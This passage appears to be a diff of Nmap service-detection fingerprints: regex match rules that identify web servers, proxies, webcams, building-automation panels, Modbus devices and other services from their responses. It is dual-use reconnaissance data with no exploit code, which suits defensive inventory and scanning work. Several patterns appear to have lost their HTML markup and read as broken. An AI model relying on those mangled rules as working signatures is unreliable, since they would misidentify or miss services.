          Cisco IP Phone CP-(\d+) \(|s p/WindRiver WebServer/ v/$1/ i/Cisco IP Phone $2/ d/VoIP phone/ cpe:/h:cisco:unified_ip_phone_$2/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html \r\nSet-Cookie: P4W\d+=([^;\r\n]+); expires=Fri, 1-Dec-1999 23:59:59 GMT; path=/ \r\n\r\n\n\n\nP4Web - Login| p/Perforce P4Web httpd/ i/name: $1/ cpe:/a:perforce:p4web/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 0\r\nServer: TR069 client CLI Server\r\nConnection: close\r\n\r\n| p/Alcatel-Lucent I-240W-A WAP TR069/ d/WAP/ cpe:/h:alcatel-lucent:i-240w-a/a +match http m|^HTTP/1\.1 200 OK\r\nExpires: .*\r\nDate: .*\r\nContent-type: text/html\r\n\r\n<\?xml version="1\.0" encoding="iso-8859-1"\?>\n\n\n\n\n\n| p/YouLess LS110 energy monitor http admin/ d/power-misc/ +match http m|^HTTP/1\.1 200 OK\r\nX-Frame-Options: SAMEORIGIN\r\nContent-Length: \d+\r\nCache-Control:no-cache\r\nContent-Type:text/html\r\nSet-Cookie: PUTCOOKIE=[^;]+; path=/; HttpOnly; \r\n\r\n\n\n\n \n \n \n Teradata Parallel Upgrade Tool 0?(\d[\d.]*)<| p/Teradata Parallel Upgrade Tool/ v/$1/ cpe:/a:teradata:tdput:$1/ +# 15.11.00.05-b143 +match http m|^HTTP/1\.1 302 Found\r\nCache-Control: public, no-store, max-age=0\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nLocation: http://[^/]*/login\.html\r\nDate: .*\r\nConnection: close\r\nServer: Teradata-Viewpoint\r\n\r\n| p/Teradata Viewpoint/ cpe:/a:teradata:viewpoint/ +match http m|^HTTP/1\.1 400 Invalid request\r\n| p/ThinLinc VSM xmlrpc/ cpe:/a:cendio:thinlinc/ +match http m|^HTTP/1\.1 404 NOT FOUND\r\nServer: InterDialog\r\nConnection: close\r\nDate: .* India Standard Time\r\nCache-Control: private\r\nContent-Length: 14\r\nContent-type: text\r\n\r\nPage Not Found| p/Teckinfo InterDialog UCCS/ cpe:/a:teckinfo:interdialog_uccs/ +match http m|^HTTP/1\.0 200 OK\r\nServer: httpd/2\.0\r\nx-frame-options: SAMEORIGIN\r\nx-xss-protection: 1; mode=block\r\nDate: .*\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n<HTML><HEAD><script>top\.location\.href='/Main_Login\.asp';</script>\n</HEAD></HTML>\n| p/ASUS WRT http admin/ cpe:/o:asus:wrt_firmware/ +match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: session=bridgeworks[a-f\d]+; path=/\r\nDate: .*\r\nServer: Mordac/([\d.]+)\r\n| p/Bridgeworks iSCSI-to-SAS bridge http ui/ v/$1/ d/storage-misc/ +match http m|^HTTP/1\.0 302 Found\r\nLocation: /login\r\nSet-Cookie: wdcpsessionID=[a-f\d]{32};| p/WDLinux Control Panel/ cpe:/a:wdlinux:wdcp/ +match http m|^HTTP/1\.1 \d\d\d \r\nDate:[^ ].*\r\nServer:AprisaSR Web Server\r\n| p/4RF Aprisa SR smart radio httpd/ d/specialized/ cpe:/h:4rf:aprisa_sr/ +match http m|^HTTP/1\.0 200 OK\r\nServer: lwIP/([\d.]+) \(http://www\.sics\.se/~adam/lwip/\)\r\nContent-type: text/html\r\n\r\n<!-- Copyright \(c\) \d\d\d\d TDSi Ltd\. All rights reserved\. -->\r\n<html>\r\n<head>\r\n<meta http-equiv="content-type" content="text/html;charset=ISO-8869-1">\r\n<title>TDSi Ethernet to Serial Module| p/TDSi Ethernet to Serial bridge/ i/lwIP $1/ cpe:/a:lwip_project:lwip:$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: CJServer/1\.1\r\nSet-Cookie: JSESSIONID=[A-F\d]+; Path=/; HttpOnly\r\nContent-Type: text/html;charset=ISO-8859-1\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n

          ([^<]+)

          | p/WebCTRL building automation http ui/ i/site: $1/ cpe:/a:automatedlogic:webctrl/ +match http m|^HTTP/1\.1 200 OK\r\nServer: CJServer/1\.1\r\nSet-Cookie: JSESSIONID=[A-F\d]+; Path=/; HttpOnly\r\n| p/WebCTRL building automation http ui/ cpe:/a:automatedlogic:webctrl/ + +match http m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nContent-Type: .*\r\nServer: ghs\r\n| p/Google httpd/ +match http m|^HTTP/1\.1 302 Found\r\nX-DNS-Prefetch-Control: off\r\nX-Frame-Options: SAMEORIGIN\r\n(?:Strict-Transport-Security: max-age=\d+; includeSubDomains\r\n)?X-Download-Options: noopen\r\nX-Content-Type-Options: nosniff\r\nX-XSS-Protection: 1; mode=block\r\nLocation: /signin\r\nVary: Accept\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: \d+\r\nset-cookie: connect\.sid=| p/Xen Orchestra/ i/Node.js Express middleware/ cpe:/a:nodejs:node.js/ cpe:/a:vates:xen_orchestra/ +match http m|^HTTP/1\.0 200 OK\r\nServer: Tektronix/WVR 7100\r\nContent-length: \d+\r\nContent-type: text/html\r\n\r\n\r\n\r\n\r\nTektronix (W\w+) Remote Interface| p/Tektronix $1 waveform monitor http ui/ cpe:/h:tektronix:$1/ +match http m|^HTTP/1\.1 403 Forbidden\r\nContent-Length: 70\r\nContent-Type: text/html\r\n\r\nError detected by Host Server \r\n\r\n| p/BMC MainView Explorer/ cpe:/a:bmc:mainview_explorer/ +match http m|^HTTP/1\.1 400 Bad Request\r\nCONTENT-TYPE: text/html; charset=utf-8\r\nCONTENT-LENGTH: 92\r\nCONNECTION: CLOSE\r\n\r\nServer Error

          400 Bad Request\r\n

          | p/Bastec BAS2 building automation system http ui/ cpe:/a:bastec:bas2/ +match http m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/html; charset=.*\r\nDATE: .*\r\nCACHE-CONTROL: NO-CACHE\r\nTRANSFER-ENCODING: CHUNKED\r\nSET-COOKIE: SESSION_ID=[A-F\d]{16}\r\nCONNECTION: CLOSE\r\n\r\n| p/Bastec BAS2 building automation system http ui/ cpe:/a:bastec:bas2/ +match http m|^HTTP/1\.1 400 Bad Request\r\nServer: \(null\)\r\nDate: .*\r\nContent-Type: text/html\r\nContent-Length: \d\d\d\r\n| p/D-Link WAP http ui/ d/WAP/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: application/json\r\nDate: .*\r\nContent-Length: 114\r\n\r\n\{"type":"sync","status":"Success","status_code":200,"operation":"","error_code":0,"error":"","metadata":\["/1\.0"\]\}\n| p/LXD container manager REST API/ cpe:/a:canonical:lxd/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nDate: .*\r\n\r\n\n\n\n\n\n\n\n Kafka Manager\n .* versions: \{[^}]*"kafka-manager":"([\d.]+)"|s p/Kafka Manager/ v/$1/ cpe:/a:yahoo:kafka_manager:$1/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Length: \d+\r\nDate: .*\r\n\r\n\r\n\r\n
          Reports Server '([^']+)' \(PID: \d+, Version: ([\d.]+)\)

          \r\n
          Uptime: (\d[^(]+) \(| p/UCS R-Keeper hospitality system/ v/$2/ i/uptime: $3/ h/$1/ cpe:/a:ucs:r-keeper:$2/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: 76\r\nAccess-Control-Allow-Headers: Content-Type\r\nAllow: POST\r\nAccess-Control-Allow-Origin: \*\r\nDate: .*\r\nConnection: close\r\n\r\n\{"jsonrpc":"2\.0","error":\{"code":-32602,"message":"Unauthorized"\},"id":null\}| p/Popcorn Time JSONRPC/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: AquaController ([\d.]+)\r\nWWW-Authenticate: Basic realm="\."\r\n| p/Neptune Systems AquaController aquarium monitor httpd/ v/$1/ d/specialized/ +match http m|^HTTP/1\.1 403 Forbidden\r\nDate: .*\r\nServer: \r\nContent-Length: 10\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\nForbidden\.| p/Proofpoint Email Protection/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm="XBMC"\r\nConnection: close\r\nDate: .*\r\n\r\n| p|Kodi/XBMC http ui| +match http m|^HTTP/1\.0 200 OK\r\nPragma: no-cache\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n(DGS-\w+)\n| p/D-Link $1 http admin/ cpe:/h:d-link:$1/ +match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: SESSIONID=-1 \r\nServer: Easy File Management Web Server (?:SSL )?v([\d.]+)\r\n| p/Easy File Management Web Server/ v/$1/ o/Windows/ cpe:/a:efs:easy_file_management_web_server:$1/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type:text/html\r\nContent-Length:\d+ +\r\n\r\n\n\n \n\n\nVoIP\n)?\r\n\r\n\r\n\t403 Forbidden

          403 Forbidden

          | p/TP-Link ADSL+ modem httpd/ d/broadband router/ +match http m|^HTTP/1\.1 200 OK\r\nCONNECTION: close\r\nDate: .*\r\nLast-Modified: .*\r\nEtag: "\d+:[\da-f]+"\r\nCONTENT-LENGTH: \d+\r\nCONTENT-TYPE: text/html\r\n\r\n Intelbras| p/Intelbras webcam httpd/ d/webcam/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Digest qop="auth", realm="IP Webcam", nonce="\d+"\r\n\r\n| p/IP Webcam httpd/ o/Android/ cpe:/a:pavel_khlebovich:ip_webcam/ + +#(insert http) + +# APACHE +# First match these plaintext responses when SSL was expected +# Matching ssl/http stops probing. This line has plenty of match info. +match ssl/http m|^\n\n400 Bad Request\n\n

          Bad Request

          \n

          Your browser sent a request that this server could not understand\.
          \nReason: You're speaking plain HTTP to an SSL-enabled server port\.
          \n.*

          Apache/([\w._-]+) (.*) Server at ([\w._*-]+) Port \d+
          |s p/Apache httpd/ v/$1/ i/$2; SSL-only mode/ h/$3/ cpe:/a:apache:http_server:$1/ +# These lines don't have a strong enough match, so we only match ssl and let Nmap start over inside the tunnel. +match ssl m|^\n\n400 Bad Request\n\n

          Bad Request

          \n

          Your browser sent a request that this server could not understand\.
          | p/Apache httpd/ i/SSL-only mode/ cpe:/a:apache:http_server/ +# Too broad to be certain that it's SSL. Matched non-SSL at least once. +#match ssl m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?Server: Apache[^\r\n]*\r\n.*\n\n400 Bad Request\n\n

          Bad Request

          \n

          Your browser sent a request that this server could not understand\.
          |s p/Apache httpd/ i/SSL-only mode/ cpe:/a:apache:http_server/ +# Then look for detailed version info in the body which might be better quality than what's in the Server header. +match http m|^.*

          Apache/([\d.]+) \([^)]+\) ?(.*) Server at ([-\w_.]+) Port \d+
          \n\n|si p/Apache httpd/ v/$1/ i/$2/ h/$3/ cpe:/a:apache:http_server:$1/ +match http m|^.*
          Apache/([\d.]+) \([^)]+\) Server at ([-\w_.]+) Port \d+
          \n\n|si p/Apache httpd/ v/$1/ h/$2/ cpe:/a:apache:http_server:$1/ +match http m|^.*
          Apache/([\d.]+) Server at ([-\w_.]+) Port \d+
          \n\n|si p/Apache httpd/ v/$1/ h/$2/ cpe:/a:apache:http_server:$1/ +# Finally, look at the Server header. +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[-.\w]+)\r.*\nX-Powered-By: PHP/([\w._-]+)\r\n|s p/Apache httpd/ v/$1/ i/PHP $2/ cpe:/a:apache:http_server:$1/ cpe:/a:php:php:$1/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache\r.*\nX-Powered-By: PHP/([\w._-]+)\r\n|s p/Apache httpd/ i/PHP $1/ cpe:/a:apache:http_server/ cpe:/a:php:php:$1/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[-.\w]+)\r.*\nX-Powered-By: ([^\r\n]+)\r\n|s p/Apache httpd/ v/$1/ i/$2/ cpe:/a:apache:http_server:$1/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache\r.*\nX-Powered-By: ([^\r\n]+)\r\n|s p/Apache httpd/ i/$1/ cpe:/a:apache:http_server/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[-.\w]+) ([^\r\n]+)|s p/Apache httpd/ v/$1/ i/$2/ cpe:/a:apache:http_server:$1/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[.\w-]+)\s*\r?\n|s p/Apache httpd/ v/$1/ cpe:/a:apache:http_server:$1/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache\r\n|s p/Apache httpd/ cpe:/a:apache:http_server/ +match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache +\(([^\r\n\)]+)\)\r\n|s p/Apache httpd/ i/$1/ cpe:/a:apache:http_server/ + +# Maybe too generic? +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 0 \r\n\r\n$| p/Arcnet 3001A powerline network adaptor/ d/power-misc/ cpe:/h:arcnet:3001a/ +match http m|^HTTP/1\.0 \d\d\d [^\r\n]+\r\nContent-Type: text/html\r\nDate: [^\r\n]+\r\nAccept-Ranges: bytes\r\nConnection: close\r\n\r\n\n\n \d\d\d [^<]+\n\n\n

          \d\d\d [^<]+

          \n

          \n\n\n| p/Vodafone Station captive portal httpd/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: https://[\d.]+/\r\nConnection: close\r\n\r\n$| p/thttpd/ i/StarField KVM over IP/ cpe:/a:acme:thttpd/ +match http m|^HTTP/1\.0 202 Accepted\r\nDate: .*\r\nConnection: Close\r\n\r\n$| p/WSO2 Enterprise Service Bus/ cpe:/a:wso2:esb/ +match http m|^HTTP/1\.0 404 Not found\r\n\r\n$| p/Tor directory server/ cpe:/a:torproject:tor/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-type: text/html\r\nContent-Length: 0\r\n\r\n| p/Brickstream/ +match http m|^HTTP/1\.0 302 Found\r\nLocation: /html/en/index\.html\r\n\r\n$| p/peercast.org/ +match http m|^HTTP/1\.0 404 Not found\r\n\r\nFile Not Found\n

          File Not Found

          \n$| p/Bacula http config/ +match http m|^HTTP/1\.[01] 302 Found\r\nConnection: Close\r\nContent-Length: 0\r\nContent-type: text/html\r\nDate: .*\r\nLocation: .*/login\.php\r\n\r\n| p/Kerio MailServer http config/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 401 Authorization Required\r\nWWW-Authenticate: BASIC realm=\"Admin\"\r\n\r\nPassword Error\.\r\n\r\n$| p/D-Link DP-301P+ print server http config/ d/print server/ cpe:/h:d-link:dp-301p%2d/ +match http m|^HTTP/1\.0 401 Unauthorized\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"Web Server Authentication\"\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \n\n\n$| p/Accton VM1188T VoIP phone http config/ d/VoIP phone/ +# Seen for OpenPegasus, VMware ESX CIM server, Microsoft SCX CIM Server. +match http m|^HTTP/1\.1 501 Not Implemented\r\n\r\n$| p/Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 302 Found\r\nLocation: http://[\d.]+:8080/\r\nContent-Length: 0\r\n\r\n$| p/Red Condor antispam appliance http config/ d/proxy server/ +match http m|^HTTP/1\.0 301 Moved Permanently\r\nLocation: https:///\r\n\r\n$| p/Check Point NGX Firewall-1/ cpe:/a:checkpoint:firewall-1/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nConnection: close\r\n\r\n$| p/Node.js/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.0 302 Redirection\r\nLocation: index\.html\r\n\r\n$| p/JPS Radio Gateway http config/ +match http m|^HTTP/1\.1 404 \r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Length: 0\r\n\r\n| p/SearchInform DLP/ +match http m|^HTTP/1\.0 200 Ok\r\nServer: httpd\r\nDate: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n\nLogin Page\n
          NTLM Authentica| p/Smoothwall proxy/ i/NTLM authentication/ +match http-proxy m|^HTTP/1\.1 400 Received invalid request from Client\r\nDate: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=\"UTF-8\"\r\nContent-Length: \d+\r\nAccept-Ranges: none\r\nProxy-Connection: close\r\n\r\n\n\n \n \n The requested URL could not be retrieved| p|Sophos/Astaro UTM gateway| d/security-misc/ cpe:/a:astaro:security_gateway_software/ +match http-proxy m|^HTTP/1\.0 400 Bad Request\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: 84\r\n\r\n{\"fault\":{\"faultstring\":\"\\\"Missing Host header\\\"\",\"detail\":{\"code\":\"MISSING_HOST\"}}}| p/Apigee API proxy/ +match http-proxy m|^HTTP/1\.0 400 badrequest\r\nVia: 1\.0 ([\w.-]+) \(McAfee Web Gateway ([\w._-]+)\)\r\nConnection: Close\r\n| p/McAfee Web Gateway/ v/$2/ i/Via $1/ cpe:/a:mcafee:web_gateway:$2/ +match http-proxy m|^HTTP/1\.0 400 Bad Request\r\nContent-Length: 113\r\nDate: .*\r\nExpires: 0\r\n\r\n\nError 400: Bad Request\n\n

          Error 400: Bad Request

          \n\n\n| p/Mikrotik HotSpot http proxy/ +match http-proxy m|^HTTP/1\.0 400 Host Required In Request\r\nDate: .*\r\nConnection: close\r\nCache-Control: no-store\r\nContent-Type: text/html\r\nContent-Language: en\r\nContent-Length: \d+\r\n\r\n\n\nHost Header Required\n\n\n\n

          Host Header Required

          \n
          \n\n| p/Cyberoam UTM http proxy/ +match http-proxy m|^HTTP/1\.1 504 Gateway Timeout\r\nContent-Length: 15\r\nContent-Type: text/plain;\r\n\r\nZAP Error: null| p/OWASP Zed Attack Proxy/ +match http-proxy m|^HTTP/1\.1 502 Bad Gateway\r\nContent-Length: \d+\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\nZAP Error \[java\.net\.UnknownHostException\]: null| p/OWASP Zed Attack Proxy/ +match http-proxy m|^HTTP/1\.0 502\r\nContent-type: text/html\r\nContent-length: \d+\r\nproxy-Connection: close\r\n\r\n\r\n\r\n\tSpybot - Connection refused\r\n| p/Spybot Search & Destroy/ o/Windows/ cpe:/a:safer-networking:spybot_search_and_destroy/ cpe:/o:microsoft:windows/a +match http-proxy m|^HTTP/1\.1 407 Proxy Authentication Required\r\nContent-Length: 36\r\nContent-Type: text/html; charset=UTF-8\r\naw-error-code: 1\r\n\r\nMissing \[Proxy-Authorization\] header| p/AirWatch Mobile Access Gateway/ d/proxy server/ cpe:/a:airwatch:mobile_access_gateway/ +match http-proxy m|^HTTP/1\.1 407 Proxy Authentication Required\r\naw-error-code: 1\r\n\r\n$| p/AirWatch Mobile Access Gateway/ d/proxy server/ cpe:/a:airwatch:mobile_access_gateway/ +match http-proxy m|^HTTP/1\.0 404 Not Found\r\nServer: Traffic Manager ([\w._-]+)\r\nDate: .*\r\nCache-Control: no-store\r\nPragma: no-cache\r\nContent-type: application/x-ns-proxy-autoconfig\r\n| p/Apache Traffic Server/ v/$1/ d/proxy server/ cpe:/a:apache:traffic_server:$1/ +# version 10.2.4 +match http-proxy m|^HTTP/1\.1 200 OK\r\nCache-Control: no-cache\r\nConnection: close\r\nPragma: no-cache\r\nContent-Length: \d+\r\n\r\nRequest RejectedThe requested URL was rejected\. Please consult with your administrator\.

          Your support ID is: \d+| p/F5 BIG-IP Application Security Module/ d/load balancer/ +match http-proxy m|^HTTP/1\.0 \d\d\d .*\r\nMime-Version: 1\.0\r\nDate: .*\r\nVia: 1\.0 ([\w.-]+):\d+ \(Cisco-WSA/([\w._-]+)\)\r\n| p/Cisco Web Security Appliance/ i/Gateway Timeout/ o/AsyncOS $2/ h/$1/ cpe:/o:cisco:asyncos:$2/ +match http-proxy m|^HTTP/1\.1 \d\d\d [^\r\n]+\r\nDate: [^\r\n]+\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset="UTF-8"\r\nContent-Length: \d+\r\nAccept-Ranges: none\r\nConnection: close\r\n\r\n.*href="http://passthrough\.fw-notify\.net/|s p/Sophos UTM http proxy/ d/security-misc/ cpe:/a:sophos:unified_threat_management/ +match http-proxy m|^HTTP/1\.1 302 Found\r\nDate: .*\r\nServer: xxxx\r\nLocation: http:///httpclient\.html\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n| p/Cyberoam captive portal/ +match http-proxy m|^HTTP/1\.1 403 No Protocol\r\nX-Hola-Error: No Protocol\r\nDate: .*\r\nConnection: close\r\n\r\n$| p/Hola VPN http-proxy/ cpe:/a:hola:hola/ +match http-proxy m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Traffic Inspector HTTP/FTP/Proxy server \(([\d.]+)\)\r\n|s p/Traffic Inspector http proxy/ v/$1/ o/Windows/ cpe:/a:smart-soft:traffic_inspector:$1/ cpe:/o:microsoft:windows/a +match http-proxy m|^HTTP/1\.1 404 Not Found\r\nServer: Sucuri/Cloudproxy\r\nDate: .* GMT\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\nETag: "[a-f\d-]+"\r\n\r\n\n\n\n\n| p/Sucuri CloudProxy/ +match http-proxy m|^HTTP/1\.0 30[12] .*\r\nLocation: https?:///[^\r\n]*\r\nServer: LBaaS\r\n| p/OpenStack Neutron LBaaS load balancer/ cpe:/a:openstack:neutron-lbaas/ +match http-proxy m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nContent-Length: \d+\r\nEtag: "[a-f\d]{40}"\r\nContent-Type: text/html; charset=UTF-8\r\nServer: Protegrity Cloud Gateway ([\d.]+)\r\n\r\nProtegrity Cloud Gateway ([\w._-]+)
          | p/Protegrity Cloud Gateway/ v/$1/ h/$2/ cpe:/a:protegrity:cloud_gateway:$1/ +match http-proxy m|^HTTP/1\.1 502 Bad Gateway\r\n(?:[^\r\n]+\r\n)*?\r\n\r\n\r\n502 Bad Gateway\r\n\r\n

          502 Bad Gateway

          \r\n

          The proxy server received an invalid response from an upstream server\. Sorry for the inconvenience\.
          \r\nPlease report this message and include the following information to us\.
          \r\nThank you very much!

          \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
          URL:[^<]*
          Server:([^<]+)
          Date:[^<]+
          \r\n
          Powered by Tengine\r\n\r\n$|s p/Tengine http proxy/ h/$1/ cpe:/a:alibaba:tengine/ +match http-proxy m|^HTTP/1\.0 404 Not Found\r\nServer: BigIP\r\nConnection: close\r\n| p/F5 BIG-IP load balancer/ d/load balancer/ +match http-proxy m|^HTTP/1\.0 503 Service Unavailable\r\nContent-Type: text/html\r\nContent-Length: 5\d\r\nExpires: now\r\nPragma: no-cache\r\nCache-control: no-cache,no-store\r\n\r\nThe service is not available\. Please try again later\.| p/Pound http reverse proxy/ cpe:/a:apsis:pound/ +match http-proxy m|^HTTP/1\.0 302 Found\r\nLocation: .*\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\nRedirect

          Redirect

          You should go to here

          | p/Pound http reverse proxy/ cpe:/a:apsis:pound/ +match http-proxy m|^HTTP/1\.0 501 Not Implemented\r\nContent-Type: text/html\r\nContent-Length: 2\d\r\nExpires: now\r\nPragma: no-cache\r\nCache-control: no-cache,no-store\r\n\r\nThis method may not be used\.| p/Pound http reverse proxy/ cpe:/a:apsis:pound/ +match http-proxy m|^HTTP/1\.0 403 Forbidden\r\nConnection: close\r\nContent-Length: 51\r\nContent-type: text/html\r\n\r\nAccess denied: authentication configuration missing| p/Smoothwall http proxy/ d/firewall/ cpe:/o:smoothwall:smoothwall/ +match http-proxy m|^HTTP/1\.1 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm="Hola Unblocker"\r\nDate: .*\r\nConnection: close\r\n\r\n| p/Hola Unblocker http proxy/ +match http-proxy m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 21\r\nContent-Type: text/html; charset=utf-8\r\nVia: 1\.1 ([\w.-]+)\r\nDate: .*\r\n\r\nBad Request to URI: /| p/LittleProxy http proxy/ h/$1/ cpe:/a:adamfisk:littleproxy/ + +match http-proxy m|^HTTP/1\.0 200 OK\r\n\r\n$| p/sslstrip/ + +# No info on what this is yet +softmatch http-proxy m|^HTTP/1\.1 400 Bad request\r\nContent-Length: 53\r\nContent-Type: text/html\r\n\r\nCan't do transparent proxying without a Host: header\.| + +softmatch http-proxy m|^HTTP/1.[01] 407 | i/proxy authentication required/ +softmatch http-proxy m|^HTTP/1.[01] 502 | i/bad gateway/ + +match hnap m|^HTTP/1\.[01] *200 OK.*\r\n\r\n<\?xml.*([^<]+).*<(?:\w+:)?VendorName>([^<]+).*<(?:\w+:)?ModelName>([^<]+).*<(?:\w+:)?FirmwareVersion>([^<]+)|s p/$2 HNAP/ v/$4/ i/device: $1; model: $3/ + +# http://www.everyhue.com/vanilla/discussion/112/other-open-ports-on-the-bridge/p1 +match hue-link m|^GET HTTP1\.0\n\n$| p|Philips Hue link/debug| + +# http://foolscap.lothar.com/ +match foolscap m|^HTTP/1\.1 500 Internal Server Error: internal server error, see logs\r\n\r\n| p/foolscap RPC/ + +match icontrolav2 m|^E04\r\n$| p/Pioneer iControlAV2 control port/ d/media device/ + +# Also "Zimbra Network edition 6.0 IMAP server." +match imap-proxy m|^\* OK IMAP4 ready\r\nGET BAD invalid command\r\n| p/nginx imap proxy/ +match imap-proxy m|^\* OK IMAP4rev1 proxy server ready\r\nGET BAD invalid command\r\n| p/Zimbra imapd/ + +match magent m|^Agent Ready\.\.\.\r\n| p/MicroWorld mwagent.exe/ o/Windows/ cpe:/o:microsoft:windows/a +match magent m|^Agent Ready\.\.\.\r\nGET / HTTP/1\.0\r\n\r\nGET 501 command not implemented ERROR\r\n| p/MicroWorld mwagent.exe/ o/Windows/ cpe:/o:microsoft:windows/a +match magent m|^Agent Ready v([\w._]+)+\.\.\.(?:\[[\w._-]+\])\r\nGET / HTTP/1\.0 501 command not implemented ERROR\r\n 501 command not implemented ERROR\r\n| p/MicroWorld mwagent.exe/ v/$1/ i/eScan antivirus management console/ o/Windows/ cpe:/o:microsoft:windows/a + +match mapreduce m|name:\x20mapreduce\r\nversion:\x20(.+)\r\n\r\n| p/Hadoop MapReduce/ v/$1/ cpe:/a:hadoop:mapreduce:$1/ +match mas-financial m|^409 Invalid Protocol PVXAS/1\.0\r\n| p/MAS200 Financial System/ o/Windows/ cpe:/o:microsoft:windows/a +match mas-financial m|^The Host cannot run the specified program\.$| p/MAS200 Financial System/ o/Windows/ cpe:/o:microsoft:windows/a + +match mep m|^\x10\0\0\0\xa5\xa5\0\0.\0`\x01\0\0\0\0|s p/Citrix NetScaler Metric Exchange Protocol/ d/load balancer/ + +# Expect MassTransit will also match with some variation. +match mtap m|^WATSON!WATSON!\x13Tx\xa3\xfee\xc0\x9b\0\0\0\x01\0\0\0\0\0\0\0\0\0v\0\0\0\0\x84\x84\0\x02\0\x13\0\xd9\0\0\0\x16\x13Virtual Network ([\d.]+)\0| p/Adobe Virtual Network/ v/$1/ cpe:/a:adobe:virtual_network:$1/ + +# Another implementation (Bukkit?) with the same matchline doesn't respond to GetRequest. +match minecraft m|^\xff\0\x0e\0P\0r\0o\0t\0o\0c\0o\0l\0 \0e\0r\0r\0o\0r$| p/Spigot Minecraft game server/ + +# http://www.mobilemouse.com/ +match mobilemouse m|^HTTP/1\.0 200 OK \r\nServer: Mobile Air Mouse Server\r\n.*>The Mobile Air Mouse server running on \"([\w._-]+)\"|s p/Mobile Air Mouse server/ h/$1/ + +# https://en.wikipedia.org/wiki/Modbus +match modbus m|^GET [\0/]\x03H\xd4[\x01-\x03]| p/Modbus TCP/ +match modbus m|^GET [\0/]\x03H\xd4[\x0a-\x0b]| p/Modbus TCP/ i/gateway/ +match modbus m|^GE\0\0\0\x03H\xd4[\x01-\x03]| p/Modbus TCP/ +match modbus m|^GE\0\0\0\x03H\xd4[\x0a-\x0b]| p/Modbus TCP/ i/gateway/ + +# In 2.5.1, the HTTP server was disabled by default +softmatch mongodb m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 116\r\n\r\nYou are trying to access MongoDB on the native driver port\. For http diagnostic access, add 1000 to the port number\n| p/MongoDB/ v/2.5.0 or earlier/ cpe:/a:mongodb:mongodb/ +softmatch mongodb m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 84\r\n\r\nIt looks like you are trying to access MongoDB over HTTP on the native driver port\.\n| p/MongoDB/ v/2.5.1 or later/ cpe:/a:mongodb:mongodb/ + +match motorola-devmgr m|^GET / 